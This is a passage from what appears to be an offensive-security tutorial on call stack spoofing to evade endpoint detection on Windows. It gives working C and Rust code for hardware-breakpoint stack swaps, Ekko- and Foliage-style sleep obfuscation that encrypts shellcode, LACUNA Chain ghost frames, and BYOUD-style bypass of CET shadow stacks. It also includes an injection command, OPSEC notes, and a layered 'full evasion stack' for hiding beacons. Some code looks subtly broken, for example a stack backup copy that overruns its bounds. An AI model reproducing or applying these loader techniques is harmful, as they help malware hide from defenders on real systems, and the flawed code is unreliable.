Step 1: Build a fake call stack (legitimate-looking frame chain)
and store it somewhere safe (heap)
Step 2: Set hardware breakpoint (Dr0) at the target syscall instruction
in ntdll (e.g., NtOpenProcess+0x14 = syscall instruction)
Step 3: Trigger the call normally → CPU hits Dr0 before syscall executes
Step 4: EXCEPTION_SINGLE_STEP fires → our VEH handler runs
VEH does:
a. Save entire real stack to backup buffer
b. Copy fake stack onto thread's stack
c. Resume execution → syscall fires with FAKE STACK
Step 5: Set Dr1 at the RIP where we want to continue after return
Step 6: Syscall returns → Dr1 fires → VEH handler restores REAL STACK
Step 7: Execution continues with real stack, nobody saw our real frames
8.2 Hardware Breakpoint Setup
// [C] Set hardware breakpoint using thread context
// Based on: github.com/fortra/hw-call-stack
BOOL SetHardwareBreakpoint(HANDLE hThread, PVOID addr, DWORD drIndex) {
CONTEXT ctx = { 0 };
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
if (!GetThreadContext(hThread, &ctx)) return FALSE;
// Set debug register
switch (drIndex) {
case 0: ctx.Dr0 = (ULONG64)addr; break;
case 1: ctx.Dr1 = (ULONG64)addr; break;
case 2: ctx.Dr2 = (ULONG64)addr; break;
case 3: ctx.Dr3 = (ULONG64)addr; break;
default: return FALSE;
}
// Configure Dr7: enable breakpoint at drIndex, local (L0-L3 bits)
// L0=bit0, L1=bit2, L2=bit4, L3=bit6 (local enable)
// Condition: 00 = execute (bits 16-17 for DR0, etc.)
ctx.Dr7 |= (1ULL << (drIndex * 2)); // Enable local breakpoint
// Condition = 00 (execute), Length = 00 (1 byte) → already default
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
return SetThreadContext(hThread, &ctx);
}
BOOL ClearHardwareBreakpoint(HANDLE hThread, DWORD drIndex) {
CONTEXT ctx = { 0 };
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
GetThreadContext(hThread, &ctx);
switch (drIndex) {
case 0: ctx.Dr0 = 0; break;
case 1: ctx.Dr1 = 0; break;
case 2: ctx.Dr2 = 0; break;
case 3: ctx.Dr3 = 0; break;
}
ctx.Dr7 &= ~(3ULL << (drIndex * 2)); // Clear enable bits
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
return SetThreadContext(hThread, &ctx);
}
8.3 VEH Handler for Stack Swap
// [C] VEH handler that swaps the call stack at the hardware breakpoint
static BYTE g_stackBackup[0x10000]; // Real stack backup
static BYTE g_fakeStack[0x2000]; // Pre-built fake stack
static SIZE_T g_fakeStackSize;
static PVOID g_syscallAddr;
static PVOID g_restoreAddr;
LONG WINAPI HW_StackSpoof_VEH(PEXCEPTION_POINTERS pEx) {
if (pEx->ExceptionRecord->ExceptionCode != EXCEPTION_SINGLE_STEP)
return EXCEPTION_CONTINUE_SEARCH;
PCONTEXT ctx = pEx->ContextRecord;
if (ctx->Rip == (ULONG64)g_syscallAddr) {
// ─── BREAKPOINT 1: Just before syscall fires ───
// Save real stack
SIZE_T stackSize = 0x8000;
memcpy(g_stackBackup, (PVOID)(ctx->Rsp - stackSize), stackSize + stackSize);
// Overwrite stack with fake frames
ULONG64 fakeBase = ctx->Rsp - g_fakeStackSize;
memcpy((PVOID)fakeBase, g_fakeStack, g_fakeStackSize);
// Set RSP to point to fake stack
ctx->Rsp = fakeBase;
// Set Dr1 at return point to restore real stack
ctx->Dr1 = (ULONG64)g_restoreAddr;
ctx->Dr7 |= (1ULL << 2); // Enable Dr1
// Clear Dr0 (we only needed it once)
ctx->Dr0 = 0;
ctx->Dr7 &= ~(1ULL << 0);
return EXCEPTION_CONTINUE_EXECUTION;
}
if (ctx->Rip == (ULONG64)g_restoreAddr) {
// ─── BREAKPOINT 2: After syscall returned ───
// Restore real stack
SIZE_T stackSize = 0x8000;
memcpy((PVOID)(ctx->Rsp - stackSize), g_stackBackup, stackSize + stackSize);
// Clear Dr1
ctx->Dr1 = 0;
ctx->Dr7 &= ~(1ULL << 2);
return EXCEPTION_CONTINUE_EXECUTION;
}
return EXCEPTION_CONTINUE_SEARCH;
}
// Usage: call NtOpenProcess with HW stack spoof
NTSTATUS HW_SpoofedNtOpenProcess(PHANDLE pHandle, ACCESS_MASK access, ...) {
// Build fake stack first (see Section 7.2 for frame structure)
BuildFakeStack(g_fakeStack, &g_fakeStackSize);
// Register VEH
PVOID hVEH = AddVectoredExceptionHandler(1, HW_StackSpoof_VEH);
// Set hardware breakpoint at syscall instruction in ntdll
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
PBYTE pFn = (PBYTE)GetProcAddress(ntdll, "NtOpenProcess");
g_syscallAddr = (PVOID)(pFn + 0x12); // syscall at offset +0x12
// Set breakpoint via Dr0
SetHardwareBreakpoint(GetCurrentThread(), g_syscallAddr, 0);
// Set return address (where to continue after spoof)
g_restoreAddr = ...; // address in our code after the call
// Make the call — Dr0 fires, VEH swaps stack, syscall executes
NTSTATUS st = NtOpenProcess(pHandle, access, ...);
RemoveVectoredExceptionHandler(hVEH);
return st;
}
[OPSEC]Hardware breakpoints requireNtGetContextThread/NtSetContextThreadto set up — two syscalls themselves. Advanced EDRs monitoring debug register use may flag this. Thehw-call-stackrepo implements full stack backup/restore to handle the additional Windows frames pushed during HWBP exception handling.
9. Technique 6 — Timer-Based Sleep Stack Spoofing (Ekko / Cobalt Strike)
Ekko (cracked5pider) and the technique detailed in the Cobalt Strike Blog use Windows timer callbacks (APC/Waitable Timer/Thread Pool timers) to perform stack spoofing while the beacon is sleeping, making the sleeping thread's call stack look completely legitimate.
- Ekko GitHub:
github.com/Cracked5pider/Ekko - CS Blog:
cobaltstrike.com/blog/behind-the-mask-spoofing-call-stacks-dynamically-with-timers - Target: At-rest inspection (sleeping thread)
- Extra: Encrypts beacon memory during sleep (combines sleep obfuscation + stack spoof)
9.1 Why Timer-Based Is Better Than Hook-Based
HOOK-BASED (ThreadStackSpoofer):
Your code → hooks Sleep → MySleep overwrites [RSP] → calls real Sleep
Problem: Your code is at the top of the call chain (before Sleep)
Frame 1 still shows your loader (the thing that CALLED MySleep)
TIMER-BASED (Ekko):
Your code → queues APC/timer callback → calls WaitForSingleObjectEx (alertable)
When timer fires: callback runs in kernel context (separate APC path)
Callback does: encrypt memory + spoof stack → Sleep → decrypt + restore
The thread's actual wait is in ntdll!NtWaitForSingleObject
Stack shows: NtWaitForSingleObject → KernelBase!WaitForSingleObjectEx → thread start
YOUR CODE IS COMPLETELY ABSENT from the sleeping thread's call stack
9.2 Ekko Core — Timer Queue + Stack Spoof
// [C] Ekko-style sleep obfuscation with stack spoofing
// Based on: github.com/Cracked5pider/Ekko
#include <windows.h>
// The gadget addresses for our fake stack
// These are stable offsets inside Windows DLLs
PVOID g_KernelBaseWait = NULL; // KernelBase!WaitForSingleObjectEx+0x93
PVOID g_RtlUserStart = NULL; // ntdll!RtlUserThreadStart+0x21
// Initialize gadget addresses
BOOL InitGadgets(void) {
HMODULE hKBase = GetModuleHandleA("KernelBase.dll");
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
// These specific offsets are used in the Cobalt Strike blog PoC
PBYTE pWait = (PBYTE)GetProcAddress(hKBase, "WaitForSingleObjectEx");
PBYTE pStart = (PBYTE)GetProcAddress(hNtdll, "RtlUserThreadStart");
if (!pWait || !pStart) return FALSE;
// Find actual return-site gadgets within these functions
// (scan for CALL instruction and take the address after it)
g_KernelBaseWait = (PVOID)(pWait + 0x93); // Stable offset
g_RtlUserStart = (PVOID)(pStart + 0x21); // Thread start epilog
return TRUE;
}
// Callback that runs via timer while we sleep
// This replaces Sleep() — called from WaitForSingleObjectEx alertable wait
void CALLBACK SleepCallback(PVOID lpParam, BOOLEAN bTimerFired) {
// This callback's call stack IS NOT inside our shellcode's memory
// Timer callbacks are invoked from kernel thread-pool context
// So this function itself doesn't add suspicious frames
// Encrypt shellcode memory (XOR or AES)
EncryptMemory((PVOID)g_shellcodeBase, g_shellcodeSize, g_key);
// Now sleep in an alertable wait — stack shows legitimate Windows frames
// The thread is "parked" in ntdll!NtWaitForSingleObject during this wait
HANDLE hTimer = (HANDLE)lpParam;
WaitForSingleObjectEx(hTimer, INFINITE, TRUE);
// Decrypt shellcode memory on wake
DecryptMemory((PVOID)g_shellcodeBase, g_shellcodeSize, g_key);
}
// Ekko-style obfuscated sleep
void EkkoSleep(DWORD ms) {
InitGadgets();
HANDLE hTimerQueue = CreateTimerQueue();
HANDLE hTimer = NULL;
HANDLE hEvent = CreateEventA(NULL, FALSE, FALSE, NULL);
// Queue our callback as a timer — it will run ms milliseconds from now
CreateTimerQueueTimer(
&hTimer,
hTimerQueue,
(WAITORTIMERCALLBACK)SleepCallback,
hEvent,
ms,
0,
WT_EXECUTEINTIMERTHREAD
);
// Wait on the event in alertable state
// OUR thread's call stack during this wait:
// ntdll!NtWaitForSingleObject
// KernelBase!WaitForSingleObjectEx+0x93 ← g_KernelBaseWait gadget
// ntdll!RtlUserThreadStart+0x21 ← g_RtlUserStart gadget
// YOUR SHELLCODE IS NOT VISIBLE
WaitForSingleObjectEx(hEvent, INFINITE, TRUE);
DeleteTimerQueueEx(hTimerQueue, NULL);
CloseHandle(hEvent);
}
9.3 TpSetTimer Variant (More Evasive)
// [C] TpSetTimer variant — uses undocumented thread pool APIs directly
// More evasive than CreateTimerQueueTimer (less commonly hooked)
// Used in: hypnus (Rust), SysWhispers4 sleep encrypt
typedef NTSTATUS (NTAPI *pTpAllocTimer)(PTP_TIMER*, PTP_TIMER_CALLBACK, PVOID, PTP_CALLBACK_ENVIRON);
typedef VOID (NTAPI *pTpSetTimer)(PTP_TIMER, PFILETIME, DWORD, DWORD);
typedef VOID (NTAPI *pTpReleaseTimer)(PTP_TIMER);
BOOL EkkoSleep_TpSetTimer(DWORD ms) {
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
pTpAllocTimer fnTpAlloc = (pTpAllocTimer) GetProcAddress(ntdll, "TpAllocTimer");
pTpSetTimer fnTpSet = (pTpSetTimer) GetProcAddress(ntdll, "TpSetTimer");
pTpReleaseTimer fnTpRelease = (pTpReleaseTimer)GetProcAddress(ntdll, "TpReleaseTimer");
if (!fnTpAlloc || !fnTpSet || !fnTpRelease) return FALSE;
PTP_TIMER hTimer = NULL;
fnTpAlloc(&hTimer, (PTP_TIMER_CALLBACK)SleepCallback, NULL, NULL);
// Set timer: due in -ms * 10000 (100ns units), negative = relative
LARGE_INTEGER dueTime;
dueTime.QuadPart = -(LONGLONG)ms * 10000;
FILETIME ft;
ft.dwLowDateTime = (DWORD)dueTime.LowPart;
ft.dwHighDateTime = (DWORD)(dueTime.QuadPart >> 32);
fnTpSet(hTimer, &ft, 0, 0);
// Wait in alertable state — clean stack during wait
SleepEx(ms + 100, TRUE);
fnTpRelease(hTimer);
return TRUE;
}
10. Technique 7 — APC-Based Stack Spoof (Foliage)
Foliage (realoriginal) uses Windows Asynchronous Procedure Calls (APCs) to execute the sleep/encrypt routine in a context that leaves a clean call stack. APCs queued to alertable threads run in kernel thread-pool context, not in your loader's context.
- GitHub:
github.com/realoriginal/foliage - Method: Queue APC to current thread → wait in alertable state → APC executes (encrypt + sleep + decrypt) without your loader frames
10.1 APC-Based Sleep Architecture
NORMAL EXECUTION:
Your loader (unbacked) → calls Sleep() → suspended
Stack: NtDelayExecution → KernelBase!SleepEx → Your loader ← BAD
FOLIAGE / APC APPROACH:
Your loader → NtQueueApcThread(current thread, EncryptAndSleep)
→ NtWaitForSingleObject (alertable)
OS delivers APC:
Stack: EncryptAndSleep [APC context — NO loader frames!]
EncryptAndSleep does:
1. XOR/AES encrypt shellcode pages
2. Waitable timer wait (ROP-aligned)
3. Decrypt shellcode on wakeup
Returns from APC context
Your loader wakes from alertable wait: continues normally
10.2 Foliage-Style APC Sleep Implementation
// [C] Foliage-style APC sleep with stack spoof
// Shellcode memory is encrypted during sleep; APC runs in clean context
static PVOID g_ShellcodeBase = NULL;
static SIZE_T g_ShellcodeSize = 0;
static BYTE g_XorKey = 0x37;
// This function runs as an APC — its call stack has NO loader frames
void NTAPI APC_EncryptAndSleep(ULONG_PTR dwParam) {
DWORD sleepMs = (DWORD)dwParam;
// Step 1: Encrypt shellcode (hide from memory scanners during sleep)
for (SIZE_T i = 0; i < g_ShellcodeSize; i++) {
((PBYTE)g_ShellcodeBase)[i] ^= g_XorKey;
}
printf("[*] APC: shellcode encrypted, sleeping %d ms\n", sleepMs);
// Step 2: Sleep (in APC context — stack has NO reference to your loader)
Sleep(sleepMs);
// Step 3: Decrypt shellcode
for (SIZE_T i = 0; i < g_ShellcodeSize; i++) {
((PBYTE)g_ShellcodeBase)[i] ^= g_XorKey;
}
printf("[*] APC: shellcode decrypted, returning to loader\n");
}
// Main beacon sleep function — queues APC and waits alertably
BOOL FoliageSleep(PVOID shellcodeBase, SIZE_T shellcodeSize, DWORD sleepMs) {
g_ShellcodeBase = shellcodeBase;
g_ShellcodeSize = shellcodeSize;
HANDLE hThread = GetCurrentThread();
// Queue APC to current thread
// APC will run when we enter alertable wait
if (!QueueUserAPC(APC_EncryptAndSleep, hThread, (ULONG_PTR)sleepMs)) {
printf("[-] QueueUserAPC failed: %d\n", GetLastError());
return FALSE;
}
// Enter alertable wait — this DELIVERS the APC
// During the APC's Sleep() call, our thread's ACTUAL wait stack is:
// ntdll!NtDelayExecution
// kernel32!SleepEx
// APC_EncryptAndSleep ← APC callback (no loader frames above it)
// ntdll!KiUserApcDispatch ← APC delivery mechanism
// YOUR LOADER IS ABSENT
SleepEx(INFINITE, TRUE); // alertable = TRUE → APC fires
return TRUE;
}
10.3 NT-Level APC (More Stealth)
// [C] NT-level APC queue using NtQueueApcThread (avoids kernel32 hooks)
typedef NTSTATUS (NTAPI *pNtQueueApcThread)(
HANDLE ThreadHandle,
PPS_APC_ROUTINE ApcRoutine,
PVOID ApcArgument1,
PVOID ApcArgument2,
PVOID ApcArgument3
);
BOOL FoliageSleep_NT(PVOID shellcodeBase, SIZE_T shellcodeSize, DWORD sleepMs) {
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
pNtQueueApcThread NtQueueApc =
(pNtQueueApcThread)GetProcAddress(ntdll, "NtQueueApcThread");
g_ShellcodeBase = shellcodeBase;
g_ShellcodeSize = shellcodeSize;
// Queue via NT API — less visible than QueueUserAPC
NTSTATUS st = NtQueueApc(
(HANDLE)-2, // Current thread pseudo-handle
(PPS_APC_ROUTINE)APC_EncryptAndSleep,
(PVOID)(ULONG_PTR)sleepMs,
NULL,
NULL
);
if (!NT_SUCCESS(st)) return FALSE;
// Alertable wait using NT call (bypasses kernel32 hooks)
LARGE_INTEGER timeout;
timeout.QuadPart = -10000000LL * (sleepMs + 500); // extra buffer
// NtWaitForSingleObject with alertable=TRUE → APC fires
// Could use indirect syscall here for full stealth
typedef NTSTATUS (NTAPI *pNtWait)(HANDLE, BOOLEAN, PLARGE_INTEGER);
pNtWait NtWait = (pNtWait)GetProcAddress(ntdll, "NtWaitForSingleObject");
NtWait((HANDLE)-1, TRUE, &timeout); // -1 = current process handle (dummy)
return TRUE;
}
11. Technique 8 — Unwinder / Stack Replacement (Runtime Per-Frame Spoof)
Unwinder (kudaes, Rust) is a different approach from SilentMoonwalk — instead of desynchronizing the entire stack upfront, it performs per-frame stack replacement inline during execution. Each function in your code that calls an external API first locates a legitimate function with the same frame size, calculates an offset within it, and replaces the return address with that offset — keeping the stack fully unwindable at all times.
- GitHub:
github.com/kudaes/unwinder - Crate:
crates.io/crates/unwinder - Method: Find legitimate function with matching frame size → replace return address → call API → restore
11.1 The Stack Replacement Concept
TRADITIONAL SPOOF: Replace ALL frames at once before the API call
Risk: If anything checks stack between replacement and API call, you're caught
UNWINDER (per-frame): Each function independently replaces its own return address
Before calling external API:
1. Find legitimate function F with frame_size == my_frame_size
2. Calculate offset within F that looks like a valid call site
3. Replace [RSP] with F+offset
4. Call external API
5. On return: VEH/HWBP catches execution, restores real [RSP]
6. Continue normally
At any point during execution: [RSP] always points to a LEGITIMATE address
→ Continuously clean stack, not just at the API call moment
11.2 Rust Usage (Unwinder Crate)
// [RS] Unwinder crate — call stack spoofing in Rust
// Add to Cargo.toml: unwinder = "0.2"
use unwinder::{spoof, spoof_synthetic};
use windows::Win32::System::Memory::{
VirtualAlloc, MEM_COMMIT, MEM_RESERVE, PAGE_READWRITE
};
fn main() -> Result<(), Box<dyn std::error::Error>> {
// ─── Method 1: Desync Stack Spoofing (SilentMoonwalk-based) ─────────
// Calling WinExec with a spoofed call stack
let cmd = std::ffi::CString::new("calc.exe").unwrap();
let mut result = spoof!(
win_exec, // function name to call
cmd.as_ptr(), // arg1
1u32 // arg2 (SW_SHOW)
)?;
println!("[+] WinExec result: {:?}", result);
// ─── Method 2: Synthetic Stack Spoofing ─────────────────────────────
// Build synthetic frames from legitimate DLL functions
let mut base_addr: *mut std::ffi::c_void = std::ptr::null_mut();
let mut region_size: usize = 0x1000;
// Call NtAllocateVirtualMemory with synthetic spoofed stack
let nt_status = spoof_synthetic!(
nt_allocate_virtual_memory, // NT function
-1isize as _, // hProcess (-1 = current)
&mut base_addr as *mut _, // BaseAddress
0usize, // ZeroBits
&mut region_size as *mut _, // RegionSize
0x3000u32, // AllocationType (MEM_COMMIT|MEM_RESERVE)
0x04u32 // Protect (PAGE_READWRITE)
)?;
println!("[+] Allocated at {:p}, NT status: 0x{:08X}", base_addr, nt_status);
Ok(())
}
11.3 Stack Replacement Internals (Rust Pseudo-Code)
// [RS] How Unwinder finds a replacement frame (simplified internals)
fn find_replacement_frame(my_frame_size: usize) -> Option<usize> {
// Enumerate loaded modules
let modules = get_loaded_modules();
for module in modules {
// Skip unsigned / unbacked modules
if !is_signed_module(module.base) { continue; }
// Parse .pdata section to get RUNTIME_FUNCTION entries
let pdata = get_pdata_section(module.base);
for rf in parse_runtime_functions(pdata) {
// Get UNWIND_INFO for this function
let unwind = get_unwind_info(module.base, rf.unwind_data);
// Calculate what RSP delta this function's prolog creates
let frame_size = calculate_frame_size(unwind);
if frame_size == my_frame_size {
// Found a function with matching frame size!
// Find a CALL instruction inside this function's body
// Return the address AFTER that CALL (valid call site)
let call_sites = find_call_sites(module.base, rf);
if let Some(site) = call_sites.first() {
return Some(*site);
}
}
}
}
None
}
// The spoof! macro expands roughly to:
// 1. Get current frame size (from our own UNWIND_INFO)
// 2. Call find_replacement_frame(my_frame_size)
// 3. Store our real [RSP] value
// 4. Replace [RSP] with replacement_frame address
// 5. Call target function
// 6. On return: hardware BP fires → restore [RSP] → continue
12. LACUNA Chain — Defeating ETW-Ti + CET (2025–2026 State of Art)
LACUNA Chain (Mohamed Alzhrani / MazX0p, June 2025) is the current state-of-the-art in call stack spoofing. It defeats every layer of modern EDR detection simultaneously: ETW-Ti STACKWALK, kernel callbacks, CET shadow stack validation, and return-address scanning. It exploits .pdata lacunae — address ranges in Windows DLLs that have NO RUNTIME_FUNCTION entry — to create "ghost frames" the unwinder treats as leaf functions.
- GitHub:
github.com/MazX0p/LACUNA-Chain - Bypasses: Elastic EDR, Bitdefender, Kaspersky Endpoint Security (all confirmed)
- Environment: Windows 11 22H2 with CET enabled + Sysmon v15 + ETW-Ti STACKWALK active
12.1 The .pdata Lacunae Concept (BYOUD-Gap)
[WIN] Normal .pdata coverage:
In every Windows DLL, .pdata contains a sorted array of RUNTIME_FUNCTION entries:
[RF1: 0x1000-0x1050] [RF2: 0x1050-0x1120] [RF3: 0x1130-0x1180] ...
↑
GAP: 0x1120-0x1130 (10 bytes)
NO RUNTIME_FUNCTION covers this!
When RtlVirtualUnwind hits an address in a GAP:
→ RtlLookupFunctionEntry() returns NULL
→ Unwinder treats it as a LEAF function
→ It simply does: RIP = *(ULONG64*)RSP; RSP += 8
→ Advances to next stack frame WITHOUT reading any UNWIND_INFO
LACUNA CHAIN exploits this:
Build a call stack using ONLY gap addresses from ntdll/kernelbase/win32u
Each gap address = leaf frame → unwinder just pops RSP+8 and moves on
Result: An infinite chain of "legitimate" frames that cause zero suspicion
(each frame is in a real signed DLL, just in a gap in .pdata)
12.2 Enumerating Ghost Regions
// [C] LACUNA Chain: enumerate .pdata gaps in a DLL (ghost regions)
typedef struct _GHOST_REGION {
ULONG64 StartRVA; // Start of uncovered region
ULONG64 EndRVA; // End of uncovered region
ULONG64 AbsAddr; // Absolute virtual address
} GHOST_REGION, *PGHOST_REGION;
#define MAX_GHOSTS 1024
GHOST_REGION g_Ghosts[MAX_GHOSTS];
DWORD g_GhostCount = 0;
void EnumerateGhostRegions(HMODULE hMod) {
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)hMod;
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((PBYTE)hMod + pDos->e_lfanew);
// Get .text and .pdata sections
DWORD textRVA = 0, textSize = 0;
DWORD pdataRVA = 0, pdataSize = 0;
PIMAGE_SECTION_HEADER pSec = IMAGE_FIRST_SECTION(pNt);
for (WORD i = 0; i < pNt->FileHeader.NumberOfSections; i++, pSec++) {
if (memcmp(pSec->Name, ".text", 5) == 0) { textRVA = pSec->VirtualAddress; textSize = pSec->Misc.VirtualSize; }
if (memcmp(pSec->Name, ".pdata", 6) == 0) { pdataRVA = pSec->VirtualAddress; pdataSize = pSec->Misc.VirtualSize; }
}
if (!pdataRVA || !textRVA) return;
// .pdata is array of RUNTIME_FUNCTION (3 DWORDs each = 12 bytes)
PRUNTIME_FUNCTION pRT = (PRUNTIME_FUNCTION)((PBYTE)hMod + pdataRVA);
DWORD rfCount = pdataSize / sizeof(RUNTIME_FUNCTION);
// Walk the sorted RUNTIME_FUNCTION array looking for gaps
for (DWORD i = 0; i < rfCount - 1; i++) {
ULONG64 gapStart = pRT[i].EndAddress;
ULONG64 gapEnd = pRT[i+1].BeginAddress;
if (gapEnd > gapStart && (gapEnd - gapStart) >= 8) {
// Found a gap — this is a GHOST REGION
g_Ghosts[g_GhostCount].StartRVA = gapStart;
g_Ghosts[g_GhostCount].EndRVA = gapEnd;
g_Ghosts[g_GhostCount].AbsAddr = (ULONG64)hMod + gapStart;
g_GhostCount++;
if (g_GhostCount >= MAX_GHOSTS) break;
}
}
printf("[*] Found %d ghost regions in %s\n", g_GhostCount,
GetModuleFileNameA(hMod, NULL, 0) ? "module" : "?");
}
12.3 Building the LACUNA Chain
// [C] LACUNA Chain: build a 6-layer spoofed call stack using ghost frames
typedef struct _LACUNA_CHAIN {
ULONG64 Layer[8]; // Up to 8 frame addresses
DWORD Depth;
} LACUNA_CHAIN, *PLACUNA_CHAIN;
/*
LACUNA Chain Layer Structure (from the research):
Layer 0: ntdll!KiUserExceptionDispatcher+4 [BYOUD-MF anchor]
Layer 1: ntdll .pdata gap address [Ghost frame — ntdll]
Layer 2: kernelbase .pdata gap address [Ghost frame — VirtualProtect return-site cover]
Layer 3: ntdll .pdata gap address [Ghost frame — RtlAllocateHeap cover]
Layer 4: win32u .pdata gap address [Ghost frame — whitelist-immune, win32u gap]
Layer 5: KernelBase!BaseThreadInitThunk+0x14 [Thread entry terminal frame]
*/
BOOL BuildLacunaChain(LACUNA_CHAIN *chain) {
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
HMODULE hKernelBase = GetModuleHandleA("KernelBase.dll");
HMODULE hWin32u = LoadLibraryA("win32u.dll"); // May need explicit load
// Layer 0: BYOUD-MF anchor in ntdll
PBYTE pKiUED = (PBYTE)GetProcAddress(hNtdll, "KiUserExceptionDispatcher");
chain->Layer[0] = (ULONG64)(pKiUED + 4);
// Layers 1-4: Ghost frames (addresses in .pdata gaps of signed DLLs)
EnumerateGhostRegions(hNtdll);
chain->Layer[1] = g_Ghosts[0].AbsAddr; // First ntdll ghost
EnumerateGhostRegions(hKernelBase);
chain->Layer[2] = g_Ghosts[0].AbsAddr; // First KernelBase ghost
chain->Layer[3] = g_Ghosts[1].AbsAddr; // Second ntdll ghost (from earlier enum)
if (hWin32u) {
EnumerateGhostRegions(hWin32u);
chain->Layer[4] = g_Ghosts[0].AbsAddr; // win32u ghost (whitelist-immune)
}
// Layer 5: Terminal frame — thread initialization root
PBYTE pBaseThreadInit = (PBYTE)GetProcAddress(hKernelBase, "BaseThreadInitThunk");
chain->Layer[5] = (ULONG64)(pBaseThreadInit + 0x14);
chain->Depth = 6;
return TRUE;
}
12.4 LACUNA Chain CLI Usage
# [TOOL] Build and use LACUNA Chain
git clone https://github.com/MazX0p/LACUNA-Chain
# Compile (MinGW from Linux, or MSVC on Windows)
x86_64-w64-mingw32-gcc lacuna_chain.c -o lacuna.exe -lkernel32 -lntdll
# On Windows with MSVC:
cl.exe /o lacuna.exe lacuna_chain.c /link kernel32.lib ntdll.lib
# Usage modes:
lacuna.exe scan # Enumerate ghost regions + gadgets across all loaded DLLs
lacuna.exe verify # Build chain and walk: L0(MF)->L1->L2->L3->L4->L5
lacuna.exe inject <pid> <shellcode.bin> # APC injection with full LACUNA chain
# Expected output (scan mode):
# [+] ntdll.dll gaps: 147 ghost regions found
# [+] kernelbase.dll gaps: 89 ghost regions found
# [+] win32u.dll gaps: 34 ghost regions found
# [+] Chain verification: L0->L1->L2->L3->L4->L5 OK
# [+] Unwinder result: ntdll!KiUserExceptionDispatcher -> <ghost> x4 -> BaseThreadInitThunk
12.5 ETW-Ti APC Window Attack (Layer 4 of LACUNA)
[WIN] ETW-Ti APC Window Exploit (part of LACUNA Chain):
ETW-Ti collects call stacks via an APC delivered to the target thread.
The kernel queues this APC AFTER the system call is processed.
If the thread is NON-ALERTABLE during the system call:
→ The APC is queued but NOT delivered immediately
→ By the time the thread goes alertable, your REAL stack is gone
→ ETW-Ti captures the SPOOFED stack instead
LACUNA Chain implementation:
1. Keep thread non-alertable during sensitive system calls
2. Set up LACUNA ghost frame chain as the visible stack
3. Perform the syscall
4. APC for ETW-Ti fires later (after stack is already spoofed)
→ ETW-Ti logs the fake chain, not your real code origin
13. BYOUD — CET-Compliant Stack Spoofing (Black Hat Europe 2025)
BYOUD (Bring Your Own Unwind Data) was presented at Black Hat Europe 2025 by klezVirus et al. as the first framework for CET-compliant call stack spoofing — bypassing the Intel Control-flow Enforcement Technology shadow stack that was expected to kill stack spoofing entirely.
- Talk: "Ghost In The Stack: Evolving Call Stack Spoofing In A Post-CET Era" — Black Hat Europe 2025
- CET: Intel hardware mitigation that maintains a separate "shadow stack" of return addresses that the CPU hardware validates on every
RETinstruction
13.1 What CET Is and Why It Matters
[WIN] Intel CET (Control-flow Enforcement Technology):
Shadow Stack: A separate hardware-protected stack that holds ONLY return addresses
- Written automatically by CALL instructions
- Read automatically by RET instructions
- Cannot be modified by normal memory writes (requires INCSSP/RSTORSSP)
- Protected by Memory Protection Keys (MPK) on Linux, ACG-equivalent on Windows
CET CHECK at every RET:
1. CPU reads return address from NORMAL stack: normal_ret = [RSP]
2. CPU reads return address from SHADOW stack: shadow_ret = [SSP]
3. IF normal_ret != shadow_ret → FAULT (control-flow violation)
4. Advance SSP by 8
PROBLEM FOR STACK SPOOFERS:
When you replace [RSP] with a gadget address, the shadow stack still has YOUR real addr
At the next RET instruction: shadow_ret ≠ normal_ret → FAULT → process killed
BYOUD SOLUTION:
Use addresses that ALREADY EXIST on the shadow stack
→ Returning to an address that was legitimately CALL'd earlier
→ The shadow stack check PASSES because the address IS in the shadow stack
13.2 BYOUD Techniques
BYOUD-Gap (Core Technique):
Use .pdata lacuna addresses as ghost frames (same as LACUNA Chain)
These are treated as LEAF functions by RtlVirtualUnwind
LEAF functions: unwinder uses RSP += 8 (no RET instruction → no CET check!)
→ CET shadow stack is never consulted for leaf frames
→ Bypasses CET hardware validation entirely
BYOUD-MF (Machine Frame RSP Teleport):
Exploit UWOP_PUSH_MACHFRAME (opcode 10) in UNWIND_INFO
When unwinder encounters this opcode at a kernel-transition function:
It reads RSP from stack+0x18 (part of the machine frame layout)
This RSP value is under our control
→ We can teleport the unwinder to an arbitrary RSP location
→ Set RSP to point to our fake frame chain (somewhere safe)
→ CET never checks this because it's an unwind operation, not a RET
State-Driven Indirect Execution Architecture (SDIE):
[NEW] Full HSP (Hardware Shadow stack Protected) bypass
Uses state machines to drive indirect execution through legitimate code paths
The CPU shadow stack remains consistent at all times because
ONLY legitimate code (that was CALL'd legitimately) is on the shadow stack
13.3 Checking CET Status
// [C] Check if CET is enabled on the current process
BOOL IsCETEnabled(void) {
PROCESS_MITIGATION_USER_SHADOW_STACK_POLICY policy = { 0 };
if (GetProcessMitigationPolicy(
GetCurrentProcess(),
ProcessUserShadowStackPolicy,
&policy,
sizeof(policy)))
{
return (BOOL)policy.EnableUserShadowStack;
}
return FALSE;
}
// In main:
if (IsCETEnabled()) {
printf("[!] CET is enabled — use BYOUD-Gap or BYOUD-MF chains\n");
// Use LACUNA Chain / BYOUD techniques
} else {
printf("[*] CET disabled — SilentMoonwalk desync sufficient\n");
// Use SilentMoonwalk / VulcanRaven
}
14. Combining Stack Spoofing with Indirect Syscalls
Stack spoofing and indirect syscalls are complementary layers. Used together, they clean up both the syscall origin (indirect syscall) and the entire call chain (stack spoof).
14.1 The Full Defense Bypass Stack
┌─────────────────────────────────────────────────────────────────────────┐
│ FULL EVASION STACK (2025 Recommended) │
│ │
│ LAYER 1: Memory — No RWX, Module Stomping │
│ NtCreateSection + NtMapViewOfSection (no anonymous alloc) │
│ Shellcode in stomped legitimate DLL memory region │
│ │
│ LAYER 2: Payload — Encrypted Shellcode │
│ AES-128 or XOR encrypted, decrypt only at exec time │
│ Anti-sandbox checks (timing, environment fingerprint) │
│ │
│ LAYER 3: Syscalls — Indirect Syscalls │
│ HellHall + Halo's Gate (works even with hooked ntdll) │
│ Jump to ntdll syscall gadget (clean top-of-stack frame) │
│ │
│ LAYER 4: Call Stack — Stack Spoofing │
│ SilentMoonwalk or LACUNA Chain (full stack clean) │
│ Every frame replaced with signed module addresses │
│ │
